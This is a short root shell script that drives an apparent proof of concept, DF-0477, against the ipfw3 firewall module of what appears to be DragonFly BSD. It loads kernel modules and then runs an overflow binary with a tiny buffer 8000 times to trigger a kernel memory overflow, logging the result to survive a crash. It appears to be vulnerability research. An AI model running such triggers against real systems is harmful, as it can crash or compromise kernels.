DF-0477 / run_detached.sh
#!/bin/sh # DF-0477 driver - detached. Output -> /root/df0477.out (survives force-kill+boot). # Loads ipfw3 + several submodules so module_str is long, then probes & overflows. exec >/root/df0477.out 2>&1 set -x date O=/usr/obj/usr/src/sys/X86_64_GENERIC/usr/src/sys/net kldload $O/ipfw3/ipfw3.ko echo "core rc=$?" kldload $O/ipfw3_basic/ipfw3_basic.ko ; echo "basic rc=$?" kldload $O/ipfw3_layer2/ipfw3_layer2.ko ; echo "layer2 rc=$?" kldload $O/ipfw3_layer4/ipfw3_layer4.ko ; echo "layer4 rc=$?" kldload $O/ipfw3_nat/ipfw3_nat.ko ; echo "nat rc=$?" kldstat | grep -i ipfw cd /root/poc/DF-0477 echo "=== probe: large buffer to see module_str ===" ./ipfw3_get_modules_overflow 1 256 echo "=== overflow: minimal buffer (5), 8000 iters ===" ./ipfw3_get_modules_overflow 8000 5 echo "POC_DONE rc=$?" date sync |